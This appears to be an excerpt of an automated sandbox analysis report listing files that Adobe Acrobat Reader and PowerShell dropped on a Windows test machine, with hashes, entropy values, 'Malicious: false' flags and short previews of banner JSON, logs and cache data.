SHA-512:	424D7F88A644421905282C6CDEDC8E53439A067343631DCB8C232961BBDBA2765ED8B7669115FC2B4796DC81BF4B71229984183F2A2EFCD132905D8E5A70D5E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"712918b1-c371-4cae-91d6-0e133a41d2bf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736689996904,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.310726877324814
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/XClbO0nZiQ0YtyoAvJfzdPeUkwRe9:YvXKX/XCla0cIBGb8Ukee9
MD5:	9571186630A53783B475269041C2DF56
SHA1:	8EE9D1750F1C99F0D48CD4371752F48C20688062
SHA-256:	37B78CDC0CBCDE102A8535E922830A25A8CB09CC373EA90C72034082F2265782
SHA-512:	D775E2AFE6655C2E0B915314629D2FB4387B3C2EB2F0F23DD8F843CAB262E10D20ED74337BDD95351DC1DB4A1A95449D7A22D7B328AE51F0580BBBB4974EC49E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"712918b1-c371-4cae-91d6-0e133a41d2bf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736689996904,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291191310542922
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/XClbO0nZiQ0YtyoAvJfYdPeUkwRe9:YvXKX/XCla0cIBGg8Ukee9
MD5:	E99F851B662D2BDDD8E177AD9D6732ED
SHA1:	DE5D9FD3856D156743E36561D114F7536D827ECB
SHA-256:	BF62A3F913F4A850F26BEF063A5C00C0219504617F90AEBDBDB0BC44EDCEAA9F
SHA-512:	12AF4878B4766B5594D3B6A30E49477140289DD16605AB49C7A1EB941CD9B8D55AD30A3A7FD71E3E959B53451E83C8A4911FE0FC6C2E8CA3E44B296BB2E552E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"712918b1-c371-4cae-91d6-0e133a41d2bf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736689996904,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.277385591732572
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/XClbO0nZiQ0YtyoAvJf+dPeUkwRe9:YvXKX/XCla0cIBG28Ukee9
MD5:	37E1985922E28E1C7EABA9B977278663
SHA1:	C3240196CCD3924AE5B5DE407C5E626D975196B3
SHA-256:	32AD82F2776FD65BB1A98282FC49DB2D6E72CDCCA44F668DFC1B60220B9DF0F4
SHA-512:	5DEA1BFB227E26EC8CB6809486DF0C83C6043A73DEAEFC9435486147E8AF42D8750BAF402040EDB81A16EFAB62D7552B80D47237CA8A0E765D1604D8A09004E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"712918b1-c371-4cae-91d6-0e133a41d2bf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736689996904,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2747989490377964
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/XClbO0nZiQ0YtyoAvJfbPtdPeUkwRe9:YvXKX/XCla0cIBGDV8Ukee9
MD5:	85A26F671FD7D6A166C4C1CF747F3D0C
SHA1:	7FD23BF70C60725632C1D50F343CE86106868346
SHA-256:	D86BEA92B49275FCE44704C93F6D625E300B161010C79CF313D58AE5CF5DBB31
SHA-512:	670C6DFEB346E26EAB88E559356C425B731C73CC0EAF9C77AE042E519A0FAA0AB57F0063E81941646EB6055710532BA783BEA38D96415112B7604885C8B54D9C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"712918b1-c371-4cae-91d6-0e133a41d2bf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736689996904,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.278058343934841
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/XClbO0nZiQ0YtyoAvJf21rPeUkwRe9:YvXKX/XCla0cIBG+16Ukee9
MD5:	F90B63B3FABCF0DB8D71699609A141AE
SHA1:	2A613BBF94752C48F1A8CC4E44B99D3C05291680
SHA-256:	86E0C493B4189AA3D9C96EA2D6E61EF0566E5B4BF6CDC38E945D5CFD683720CA
SHA-512:	56E06E88302B06859613B2D7E79080796537A6512AEEA12F8CC44725DA29D0FC63EA042B9A5EFA4029F0F5C9D246905B00D5E16762ED4EE88624B43F57230B32
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"712918b1-c371-4cae-91d6-0e133a41d2bf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736689996904,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.656731859540374
Encrypted:	false
SSDEEP:	24:Yv6XPC8ZI6amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSFY:YvcCn0BgkDMUJUAh8cvMFY
MD5:	DDB7EA89A3297E634EEF85D1D70A47FE
SHA1:	D925ABA24230A236E8DF61EC76C589BAF327C003
SHA-256:	FC9C24AF5174FB0BB1505CDBA04862248153BDFCC8BFB9C723022E71CBB71194
SHA-512:	CF84C87135F0FC9141181ACC8F9AB4821C4EA2BF4B36A668AC352FABFDB6B09948786C2E9D00AECAC8CB170FDEAF116EA8E4524978C9FDF896BE71C5D3AF0519
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"712918b1-c371-4cae-91d6-0e133a41d2bf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736689996904,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.254938807993077
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/XClbO0nZiQ0YtyoAvJfshHHrPeUkwRe9:YvXKX/XCla0cIBGUUUkee9
MD5:	C7CD0608BB777D7EA19899BAFBE03797
SHA1:	54C3C2987B7D603240233BE0809D7D7B9E0B462D
SHA-256:	E68E5FD932F4CFCB8C62F75C3E10E27034DD7020BA94F775D0B3DE4B1544B623
SHA-512:	062F68D984FF597758E13C471FA87B099C8B20C8BA2E6B7C3A34D2B5B2325C5BF8835351D1B0C019B535BF2416EED42166A3D8DF5E9A4253B47B868955C30A37
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"712918b1-c371-4cae-91d6-0e133a41d2bf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736689996904,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.263757880118101
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/XClbO0nZiQ0YtyoAvJTqgFCrPeUkwRe9:YvXKX/XCla0cIBGTq16Ukee9
MD5:	40C6DAED4D51D5BAEA29BF6F84B36CA5
SHA1:	B11E1A0E17CF55BB09A2D64D13E0D31A1E21B238
SHA-256:	394482F8583F7264B77ADF8A882FDC89E9235F2325EAB7E57D97332C747DB4B8
SHA-512:	5D4686094EF6952BAF3F5F450B2A8FAE3EC3F64BF33A42DF31EA4EAEA295F2128D3A76E146FCCE1F21B336923130CB11045CF455AF6F3A44AA9692CC556B6D2B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"712918b1-c371-4cae-91d6-0e133a41d2bf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736689996904,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136700721421302
Encrypted:	false
SSDEEP:	48:YQIAhlKXSyUyEeis/FV/VzHycBMu3c49AW:jIAhWSyUois/Y6MMcWAW
MD5:	E9476F65F5631A1F832DF6ED22AE933E
SHA1:	23CA851B2BD67FFC113EF02BB38FF6AF8768FB96
SHA-256:	18A3D1A004FEC064D7C32E3231B251E5D6FBB1F3C4C1A0C8F822B0000D705B5D
SHA-512:	5F0EE8B2DD34C47FD587FABFDB4F2D4308C78C3E3527D4417A3E04B18030C8AC1F61FAA33F57BF0614BA53BDB9C6F06CE9CE81B4961EC4C03655AE00881DAE4F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0c08e927682ef4f3c0b44013c7ab761f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736516296000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"f0eec93b16aa949741ad7ce389c12bb6","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736516296000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"99345aadc733db67c4ec899275b269cd","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736516296000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"4176f35d6b67200ae255217f1068affe","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736516296000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"907dfadcd0b29dcabb314f44bbfd4bc4","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736516296000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f9807c00b534ffbe15b00db69a9d71f4","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1468188786181528
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urs5fRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcJ:TFl2GL7ms5rXc+XcGNFlRYIX2v3kjt
MD5:	697B94F070B69ACAF71967031259E305
SHA1:	5CF80C0769B266CB1BF15ADEE31B7D1B380702EF
SHA-256:	ADE7B9E59C7ED4868BC56EA0A4F91E1BF7E01DA316D18F6DB653A5EB9B2FA414
SHA-512:	1C523B265EB60C61B0FE46A4821C163BA60FC1EDC808049D58066874F55ECE2EDEEB33C69110D95722394A58E1908C0182819417D26249AE61793AC52B1A7B27
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5532802592225912
Encrypted:	false
SSDEEP:	24:7+tXfUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxaqLxx/XYKj:7MX8Xc+XcGNFlRYIX2vXqVl2GL7msr
MD5:	D13D115BF702897A1D6F75F27CBE26F5
SHA1:	8AA1138FFEBFE50C59D7DA54060FBC4F4ADBD620
SHA-256:	247DE64913D0C03975C3311F4E0EF711C3D1C55A8F4307A0B63979D4CD7DA9AF
SHA-512:	701AF418E9802EDB2AC40D9302F673BE7E20B53079FC9C3953E796BA4E1FC3AB911DD4E73F2A0CDAE7AE563BD1DC29AE1215B300C95FEDC1D471AB4BD760E91D
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg5EngEDzRMKQ2x+EUMjVESouyYyu:6a6TZ44ADEsdfQWUMjdouyK
MD5:	896ACBF9F94E4C93157CBB95B2FEB40B
SHA1:	11CDF6E4B36401CF97FC4B52FD2587BA3AA828E5
SHA-256:	FE61B70CF46DD7843EB326054F747640E759304BF2CE7BC2C8591D578DCC51B2
SHA-512:	4C349A961C57B60914E0BE625AE6F525F07CF836F30EC2B3893BFF4FD41AE3F66E8E246577F167BF25AC96BA6DC3C0DA8D3615B4BFBD3B552C72DA78BC90F2F3
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIa7ead.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClslnNUlxYle:Qw946cPbiOxDlbYnuRK+bzlNUEw
MD5:	129065A263FB2EFDF8A4273F3E6BFA50
SHA1:	D418927B70C474254D45290A160FB5AD9C300A11
SHA-256:	6823E5329C40E7D306CA8371C1FDE2FA7BDE783EFB6CB200AF4D3D5E5C7D6D3B
SHA-512:	10D28DECAE8055482CC6AEB469A0EF9DF5C2ACE1C616AB6A6C1C6098ED79391F6C2F03A24BB74DDEA3FCE0FFA80EBFA42A1CCB4F022AB8EE9944B988C3082111
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.8.:.3.8.:.1.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4uzqhiwh.axi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v2x1gri1.k3r.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 08-38-10-854.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.359279128792627
Encrypted:	false
SSDEEP:	384:9LhqJPcvT0hrc/khwCHLpj6XuSRobZiaVsXEAKSixMenJn9Tkcftt6x6PWxnLq/6:heXo
MD5:	E11A05C72781EB11BFD37E959C5B4287
SHA1:	4C0DFCEF7D0989AC7E27E272C9A6CC6A9115EFC1
SHA-256:	4E6D8F1325FA1100498F330CC167DD83A0F22DDBEF732F57B1D140AE1DB0BF29
SHA-512:	8DD76EA37DF315A51448D70FC962281508D8B7F214B7A3998F9C52588B3DCE93244E56F760C54BA8A20E9E1B4AD6E528A2254CAA550822DB0C43C7F0DA96D6C0
Malicious:	false
Preview:	SessionID=6363ed6a-6a3b-4816-871f-af27c5b1f475.1736516290881 Timestamp=2025-01-10T08:38:10:881-0500 ThreadID=7728 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=6363ed6a-6a3b-4816-871f-af27c5b1f475.1736516290881 Timestamp=2025-01-10T08:38:10:882-0500 ThreadID=7728 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=6363ed6a-6a3b-4816-871f-af27c5b1f475.1736516290881 Timestamp=2025-01-10T08:38:10:882-0500 ThreadID=7728 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=6363ed6a-6a3b-4816-871f-af27c5b1f475.1736516290881 Timestamp=2025-01-10T08:38:10:882-0500 ThreadID=7728 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=6363ed6a-6a3b-4816-871f-af27c5b1f475.1736516290881 Timestamp=2025-01-10T08:38:10:882-0500 ThreadID=7728 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395768887087194
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbLucbuINVcbx:V3fOCIdJDeVbN6
MD5:	28234FDD777840D8B70C7DD97F6728F2
SHA1:	A6DC32AA58461EA31EB4067B53990B9D6060C046
SHA-256:	D2D55B7913FED3C21FD0CD32936B76FB5771EBC4D3B02E600B8EBD0728D8F8B5
SHA-512:	C80275BB67B4619EA7D7E74A9D964EE2A4F371306825C0C921E9086748A0803AE65C2FFFE41EA3EBFC556E099E3DBE6895C38C6689DA73E217DA6D4DC7D6AAF5
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\213e0b70-0fc8-493d-9a8f-3eec47fd0fd6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
